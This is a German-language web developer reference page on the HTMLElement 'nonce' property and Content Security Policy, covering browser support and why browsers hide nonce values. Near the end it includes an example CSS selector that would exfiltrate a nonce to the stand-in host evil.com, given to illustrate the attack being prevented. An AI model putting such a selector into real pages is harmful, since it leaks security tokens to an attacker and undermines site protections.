HTMLElement: nonce-Eigenschaft
Baseline
Weitgehend verfügbar
Diese Funktion ist gut etabliert und funktioniert auf vielen Geräten und in vielen Browserversionen. Sie ist seit März 2022 browserübergreifend verfügbar.
Die nonce-Eigenschaft des HTMLElement-Interfaces gibt die kryptografische Nummer zurück, die einmal verwendet wird, um vom Content Security Policy zu bestimmen, ob ein bestimmter Abruf ausgeführt werden darf.
In späteren Implementierungen geben Elemente ihr nonce-Attribut nur an Skripte weiter (und nicht an Nebenkanäle wie CSS-Attributselektoren).
Beispiele
>Abrufen eines nonce-Wertes
In der Vergangenheit unterstützten nicht alle Browser das nonce IDL-Attribut, daher war ein Workaround, getAttribute als Fallback zu verwenden:
let nonce = script["nonce"] || script.getAttribute("nonce");
Allerdings verbergen neuere Browserversionen nonce-Werte, die auf diese Weise abgerufen werden (ein leerer String wird zurückgegeben). Die IDL-Eigenschaft (script['nonce']) wird der einzige Weg sein, um Nicht-Kopplungen zuzugreifen.
Das Verbergen von Nonce hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu exfiltrieren, die Daten aus Inhaltsattributen abrufen können, wie diesem CSS-Selektor:
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Spezifikationen
| Spezifikation |
|---|
| HTML> # dom-noncedelement-nonce> |